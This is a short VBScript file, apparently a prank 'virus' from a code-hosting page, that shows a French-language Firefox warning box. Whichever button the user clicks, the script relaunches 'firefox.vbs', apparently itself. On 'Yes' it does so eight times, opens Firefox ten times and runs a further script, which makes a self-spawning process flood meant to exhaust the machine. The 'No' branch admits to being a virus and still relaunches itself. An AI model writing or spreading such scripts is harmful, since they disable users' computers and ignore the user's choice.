48 lines
No EOL
2.2 KiB
Text
Executable file
48 lines
No EOL
2.2 KiB
Text
Executable file
result = MsgBox ("Est-tu sûr de vouloir utiliser Firefox, il n'est pas de bonne humeur ces temps-ci :/ ?", vbYesNo + vbCritical, "Le Renard à brûler le disque dur")
|
|
|
|
Select Case result
|
|
Case vbYes
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "firefox.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "firefox.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "firefox.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "firefox.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "firefox.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "firefox.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "firefox.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "firefox.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """firefoxplus.vbx"""
|
|
|
|
Case vbNo
|
|
MsgBox "Le Renard Brûle en ce moment, désolé, le virus va devoir revenir :(", vbInformation
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "firefox.vbs"
|
|
|
|
End Select |